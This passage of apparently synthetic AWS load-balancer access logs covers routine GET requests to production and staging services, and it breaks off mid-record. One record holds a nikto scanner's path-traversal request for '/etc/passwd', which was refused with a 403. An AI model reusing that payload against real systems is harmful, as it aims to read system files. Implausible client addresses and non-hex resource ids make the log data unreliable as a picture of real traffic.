"10.0.206.209:443" "200" "-" "-" +https 2024-11-01T00:12:35.150688Z prod-api-alb 119.49.125.220:41981 10.0.69.129:443 0.029930 0.331923 0.058980 200 200 504 10436 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba83-d13eae37c47b4f3f829c44e0" "prod-api-alb.example.com" "-" 6 2024-11-01T00:12:35.150688Z "forward" "-" "-" "10.0.69.129:443" "200" "-" "-" +https 2024-11-01T00:12:35.645055Z prod-web-alb 239.220.250.49:59640 10.0.159.5:443 0.076725 0.075909 0.096600 404 404 210 2122 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba83-cc461c427e9d4ae6a1d60e54" "prod-web-alb.example.com" "-" 0 2024-11-01T00:12:35.645055Z "forward" "-" "-" "10.0.159.5:443" "404" "-" "-" +https 2024-11-01T00:12:36.651367Z prod-api-alb 20.247.145.84:19124 10.0.172.220:443 0.006117 0.499525 0.035566 200 200 303 9576 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba84-6ff12aa51b89402ead33026d" "prod-api-alb.example.com" "-" 9 2024-11-01T00:12:36.651367Z "forward" "-" "-" "10.0.172.220:443" "200" "-" "-" +https 2024-11-01T00:12:38.429158Z prod-api-alb 160.147.148.18:60239 10.0.106.134:443 0.084660 0.300396 0.064154 302 302 507 12950 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba86-f71aafbb489f4e7cbd693a97" "prod-api-alb.example.com" "-" 3 2024-11-01T00:12:38.429158Z "forward" "-" "-" "10.0.106.134:443" "302" "-" "-" +https 2024-11-01T00:12:39.311316Z staging-alb 110.220.26.123:10675 202.8.236.234:80 0.087393 0.073498 0.135535 200 200 756 2551 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba87-57dea7c9c1ba4a28a62f815a" "staging-alb.example.com" "-" 3 2024-11-01T00:12:39.311316Z "forward" "-" "-" "202.8.236.234:80" "200" "-" "-" +https 2024-11-01T00:12:40.519327Z staging-alb 26.90.241.51:36796 118.144.33.79:8080 0.082429 0.672756 0.013881 302 302 794 14203 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba88-da50c0d0d52442819c0ca677" "staging-alb.example.com" "-" 7 2024-11-01T00:12:40.519327Z "forward" "-" "-" "118.144.33.79:8080" "302" "-" "-" +https 2024-11-01T00:12:41.306542Z staging-alb 176.159.105.186:53015 242.80.93.213:8080 0.135667 0.301964 0.135799 200 200 906 1808 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba89-d0725c0433424a799059a42f" "staging-alb.example.com" "-" 2 2024-11-01T00:12:41.306542Z "forward" "-" "-" "242.80.93.213:8080" "200" "-" "-" +http 2024-11-01T00:12:42.997966Z staging-alb 182.8.151.215:61658 173.131.153.110:443 0.020300 0.557611 0.016234 200 200 71 8065 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba8a-75416aaff66e4cd18b55f813" "staging-alb.example.com" "-" 1 2024-11-01T00:12:42.997966Z "forward" "-" "-" "173.131.153.110:443" "200" "-" "-" +https 2024-11-01T00:12:44.107845Z prod-api-alb 74.41.203.231:25354 10.0.154.1:443 0.007254 0.476805 0.042312 200 200 941 2843 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba8c-d499e7e795494d138ead6ae4" "prod-api-alb.example.com" "-" 7 2024-11-01T00:12:44.107845Z "forward" "-" "-" "10.0.154.1:443" "200" "-" "-" +https 2024-11-01T00:12:44.654803Z prod-api-alb 253.162.241.98:29697 10.0.254.170:443 0.067724 0.403244 0.090101 301 301 913 13574 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba8c-3dcf61fabeaa4e95bcecad30" "prod-api-alb.example.com" "-" 4 2024-11-01T00:12:44.654803Z "forward" "-" "-" "10.0.254.170:443" "301" "-" "-" +https 2024-11-01T00:12:46.479351Z prod-web-alb 188.9.51.172:58861 10.0.92.178:443 0.083296 0.189983 0.042965 301 301 240 11171 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba8e-650c4ea77a4b44499da61c2d" "prod-web-alb.example.com" "-" 6 2024-11-01T00:12:46.479351Z "forward" "-" "-" "10.0.92.178:443" "301" "-" "-" +https 2024-11-01T00:12:48.063691Z staging-alb 159.206.238.46:57278 173.213.212.122:8080 0.067998 0.662141 0.038026 302 302 88 5787 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba90-fce5c178bb534279a4ca664c" "staging-alb.example.com" "-" 6 2024-11-01T00:12:48.063691Z "forward" "-" "-" "173.213.212.122:8080" "302" "-" "-" +https 2024-11-01T00:12:48.191189Z prod-web-alb 144.2.96.217:50270 10.0.172.241:443 0.031329 0.091171 0.097430 200 200 495 1972 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba90-0cb5d0cd38054c4cb98e2d89" "prod-web-alb.example.com" "-" 10 2024-11-01T00:12:48.191189Z "forward" "-" "-" "10.0.172.241:443" "200" "-" "-" +https 2024-11-01T00:12:49.609912Z prod-api-alb 217.221.62.236:21934 10.0.173.98:443 0.063488 0.043789 0.038633 301 301 859 2760 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba91-5149bd4022e6439bbfb90e72" "prod-api-alb.example.com" "-" 5 2024-11-01T00:12:49.609912Z "forward" "-" "-" "10.0.173.98:443" "301" "-" "-" +https 2024-11-01T00:12:50.395449Z prod-web-alb 9.55.56.106:19164 10.0.74.237:443 0.077919 0.432779 0.021684 302 302 661 11396 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba92-39f7f94f597f45c5b9f4746f" "prod-web-alb.example.com" "-" 4 2024-11-01T00:12:50.395449Z "forward" "-" "-" "10.0.74.237:443" "302" "-" "-" +http 2024-11-01T00:12:51.046012Z staging-alb 99.65.61.63:33303 69.109.32.48:443 0.059252 0.369582 0.022506 200 200 109 14377 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba93-5a5e4a1ba50a4707adbda52f" "staging-alb.example.com" "-" 8 2024-11-01T00:12:51.046012Z "forward" "-" "-" "69.109.32.48:443" "200" "-" "-" +http 2024-11-01T00:12:52.651600Z staging-alb 190.93.110.124:37615 165.149.250.86:443 0.128553 0.304115 0.025323 301 301 714 1742 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba94-8cca21ee107f442388bd200c" "staging-alb.example.com" "-" 2 2024-11-01T00:12:52.651600Z "forward" "-" "-" "165.149.250.86:443" "301" "-" "-" +https 2024-11-01T00:12:53.861398Z prod-web-alb 239.9.72.191:19190 10.0.77.159:443 0.070855 0.187384 0.022177 200 200 354 5028 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba95-8f6a85cc00c5407ba65429e9" "prod-web-alb.example.com" "-" 4 2024-11-01T00:12:53.861398Z "forward" "-" "-" "10.0.77.159:443" "200" "-" "-" +https 2024-11-01T00:12:54.221735Z prod-web-alb 227.202.58.41:24675 10.0.118.150:443 0.029364 0.245361 0.035259 200 200 561 12614 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba96-635f7eef3488451faedf6105" "prod-web-alb.example.com" "-" 6 2024-11-01T00:12:54.221735Z "forward" "-" "-" "10.0.118.150:443" "200" "-" "-" +https 2024-11-01T00:12:55.256810Z prod-web-alb 80.183.74.159:19014 10.0.100.49:443 0.029032 0.361511 0.036568 404 404 63 3464 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba97-ad8c04ab717b4c2ea1cba25d" "prod-web-alb.example.com" "-" 6 2024-11-01T00:12:55.256810Z "forward" "-" "-" "10.0.100.49:443" "404" "-" "-" +https 2024-11-01T00:12:55.661002Z prod-web-alb 48.156.105.43:19246 10.0.199.234:443 0.063344 0.298249 0.008558 302 302 129 13310 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba97-5298a42d3e2b4f6c9ed17f61" "prod-web-alb.example.com" "-" 8 2024-11-01T00:12:55.661002Z "forward" "-" "-" "10.0.199.234:443" "302" "-" "-" +https 2024-11-01T00:12:56.374163Z prod-api-alb 112.215.219.44:61270 10.0.91.151:443 0.068616 0.423627 0.032385 200 200 276 1414 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba98-a34bb5d865a1425e89ceda6a" "prod-api-alb.example.com" "-" 7 2024-11-01T00:12:56.374163Z "forward" "-" "-" "10.0.91.151:443" "200" "-" "-" +https 2024-11-01T00:12:57.014050Z prod-web-alb 209.177.240.13:54895 10.0.85.55:443 0.035891 0.470179 0.020569 200 200 372 3313 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba99-47657a9a7277401480a3fddd" "prod-web-alb.example.com" "-" 2 2024-11-01T00:12:57.014050Z "forward" "-" "-" "10.0.85.55:443" "200" "-" "-" +http 2024-11-01T00:12:57.633721Z staging-alb 28.250.222.94:21921 46.247.224.195:443 0.101468 0.573761 0.019680 200 200 804 7537 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba99-dde6c250f22d4deb85db6405" "staging-alb.example.com" "-" 7 2024-11-01T00:12:57.633721Z "forward" "-" "-" "46.247.224.195:443" "200" "-" "-" +https 2024-11-01T00:12:57.971552Z prod-api-alb 229.29.89.20:33116 10.0.144.234:443 0.094268 0.379316 0.034766 200 200 817 5168 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba99-acd3e4275d4140fd904b8597" "prod-api-alb.example.com" "-" 1 2024-11-01T00:12:57.971552Z "forward" "-" "-" "10.0.144.234:443" "200" "-" "-" +https 2024-11-01T00:12:58.878669Z prod-api-alb 98.188.80.0:55419 10.0.159.53:443 0.018437 0.123456 0.059643 301 301 392 9482 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba9a-0e57983c70d1434ea389f75f" "prod-api-alb.example.com" "-" 5 2024-11-01T00:12:58.878669Z "forward" "-" "-" "10.0.159.53:443" "301" "-" "-" +https 2024-11-01T00:12:58.991494Z prod-api-alb 108.226.37.182:20741 10.0.169.20:443 0.080110 0.010462 0.086592 200 200 902 3683 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba9a-a565e09a10b84aa380b77ac5" "prod-api-alb.example.com" "-" 8 2024-11-01T00:12:58.991494Z "forward" "-" "-" "10.0.169.20:443" "200" "-" "-" +https 2024-11-01T00:13:00.254342Z prod-web-alb 154.91.109.84:38296 10.0.216.158:443 0.099299 0.203858 0.072505 301 301 401 13577 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba9c-a472a6557ca144089050ee35" "prod-web-alb.example.com" "-" 6 2024-11-01T00:13:00.254342Z "forward" "-" "-" "10.0.216.158:443" "301" "-" "-" +https 2024-11-01T00:13:02.106473Z prod-web-alb 191.193.200.234:50934 10.0.225.186:443 0.013245 0.021398 0.087325 302 302 710 10523 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba9e-67abb96c7d29408aa09a54ea" "prod-web-alb.example.com" "-" 0 2024-11-01T00:13:02.106473Z "forward" "-" "-" "10.0.225.186:443" "302" "-" "-" +https 2024-11-01T00:13:03.204448Z prod-api-alb 45.155.205.19:15429 10.0.220.39:443 0.078853 0.278003 0.087638 403 403 386 8221 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba9f-d7cfe14eb52948779a2ece77" "-" "-" 7 2024-11-01T00:13:03.204448Z "forward" "-" "-" "10.0.220.39:443" "403" "-" "-" +https 2024-11-01T00:13:05.129226Z prod-api-alb 207.88.59.27:42058 10.0.237.109:443 0.083697 0.229595 0.054927 301 301 348 11315 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723baa1-1b672f45888640bfa4b52b8f" "-" "-" 10 2024-11-01T00:13:05.129226Z "forward" "-" "-" "10.0.237.109:443" "301" "-" "-" +https 2024-11-01T00:13:06.728419Z staging-alb 87.131.36.165:50040 222.239.89.170:8080 0.086284 0.052961 0.013038 302 302 935 6894 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723baa2-19ddb52c716d490ca7826c95" "staging-alb.example.com" "-" 3 2024-11-01T00:13:06.728419Z "forward" "-" "-" "222.239.89.170:8080" "302" "-" "-" +https 2024-11-01T00:13:08.510637Z prod-api-alb 145.100.222.110:59757 10.0.81.230:443 0.013578 0.071188 0.036805 200 200 761 4381 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723baa4-5e1a7d5164ca41bbb46a194d" "prod-api-alb.example.com" "-" 6 2024-11-01T00:13:08.510637Z "forward" "-" "-" "10.0.81.230:443" "200" "-" "-" +https 2024-11-01T00:13:09.606296Z staging-alb 255.3.3.250:27575 21.181.37.148:443 0.007244 0.063724 0.108690 404 404 651 6776 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723baa5-e0d187a65dc141e7949561f5" "staging-alb.example.com" "-" 9 2024-11-01T00:13:09.606296Z "forward" "-" "-" "21.181.37.148:443" "404" "-" "-" +https 2024-11-01T00:13:10.098010Z prod-web-alb 66.222.206.239:60197 10.0.126.60:443 0.025611 0.482846 0.052162 200 200 135 225 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723baa6-b66cef2c21a64c769d4e77ff" "prod-web-alb.example.com" "-" 9 2024-11-01T00:13:10.098010Z "forward" "-" "-" "10.0.126.60:443" "200" "-" "-" +https 2024-11-01T00:13:10.541955Z prod-web-alb 199.0.42.218:28555 10.0.199.157:443 0.020696 0.035343 0.023524 200 200 886 11911 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723baa6-e7c1c71b9527467d8857312b" "prod-web-alb.example.com" "-" 0 2024-11-01T00:13:10.541955Z "forward" "-" "-" "10.0.199.157:443" "200" "-" "-" +http 2024-11-01T00:13:10.791065Z staging-alb 27.133.218.100:60782 131.222.152.186:80 0.050663 0.201664 0.026571 200 200 304 12057 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723baa6-ebddd4dba0664e39ba920007" "staging-alb.example.com" "-" 1 2024-11-01T00:13:10.791065Z "forward" "-" "-" "131.222.152.186:80" "200" "-" "-" +http 2024-11-01T00:13:11.820661Z staging-alb 226.107.79.15:19329 28.58.0.61:8080 0.028641 0.451733 0.013229 200 200 56 7245 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723baa7-8a96c8ae7f7644938bcb33e8" "staging-alb.example.com" "-" 2 2024-11-01T00:13:11.820661Z "forward" "-" "-" "28.58.0.61:8080" "200" "-" "-" +https 2024-11-01T00:13:13.705135Z staging-alb 48.120.41.92:23966 17.186.190.157:443 0.045967 0.679144 0.126014 200 200 25 780 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723baa9-27b56b8594e74a46b70f7393" "staging-alb.example.com" "-" 5 2024-11-01T00:13:13.705135Z "forward" "-" "-" "17.186.190.157:443" "200" "-" "-" +https 2024-11-01T00:13:14.383426Z prod-web-alb 81.252.220.139:59200 10.0.114.95:443 0.064582 0.104755 0.072397 302 302 478 8453 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723baaa-280c20b95c6f473286c611c3" "prod-web-alb.example.com" "-" 1 2024-11-01T00:13:14.383426Z "forward" "-" "-" "10.0.114.95:443" "302" "-" "-" +https 2024-11-01T00:13:16.228293Z prod-web-alb 245.243.243.231:30625 10.0.233.29:443 0.021751 0.486936 0.054749 404 404 174 575 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723baac-b72af6dd50a84114abcce183" "prod-web-alb.example.com" "-" 1 2024-11-01T00:13:16.228293Z "forward" "-" "-" "10.0.233.29:443" "404" "-" "-" +https 2024-11-01T00:13:17.120080Z staging-alb 21.249.217.177:41505 87.39.233.112:80 0.038175 0.126150 0.056786 200 200 598 11497 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723baad-9e369ad7ae4e4a19b8ca4ec6" "staging-alb.example.com" "-" 1 2024-11-01T00:13:17.120080Z "forward" "-" "-" "87.39.233.112:80" "200" "-" "-" +https 2024-11-01T00:13:17.700986Z prod-api-alb 80.181.142.154:23363 10.0.225.168:443 0.014592 0.203592 0.033178 302 302 408 930 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723baad-3df1eede8d5a4f5586882bb4" "prod-api-alb.example.com" "-" 6 2024-11-01T00:13:17.700986Z "forward" "-" "-" "10.0.225.168:443" "302" "-" "-" +https 2024-11-01T00:13:18.134315Z prod-api-alb 180.58.30.134:55590 10.0.191.59:443 0.057512 0.016620 0.065138 200 200 716 7694 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723baae-c641069211cf409d91f122dc" "prod-api-alb.example.com" "-" 9 2024-11-01T00:13:18.134315Z "forward" "-" "-" "10.0.191.59:443" "200" "-" "-" +https 2024-11-01T00:13:19.912406Z prod-api-alb 110.104.8.194:23770 10.0.108.222:443 0.081082 0.200933 0.073798 200 200 88 5064 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723baaf-92e7bb585030437f94eec735" "-" "-" 10 2024-11-01T00:13:19.912406Z "forward" "-" "-" "10.0.108.222:443" "200" "-" "-" +https 2024-11-01T00:13:21.474432Z prod-api-alb 230.98.141.16:59707 10.0.66.145:443 0.093832 0.089893 0.032794 200 200 711 9288 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bab1-1f57c6cf154e4c27bff419af" "prod-api-alb.example.com" "-" 8 2024-11-01T00:13:21.474432Z "forward" "-" "-" "10.0.66.145:443" "200" "-" "-" +https 2024-11-01T00:13:23.045657Z prod-web-alb 194.222.167.242:10863 10.0.155.153:443 0.008349 0.140539 0.062924 200 200 339 2592 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bab3-46c94ff3f47040d7a7d924ca" "prod-web-alb.example.com" "-" 4 2024-11-01T00:13:23.045657Z "forward" "-" "-" "10.0.155.153:443" "200" "-" "-" +https 2024-11-01T00:13:23.787773Z staging-alb 203.8.154.197:53320 61.117.135.232:8080 0.119831 0.701247 0.089044 200 200 817 7710 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 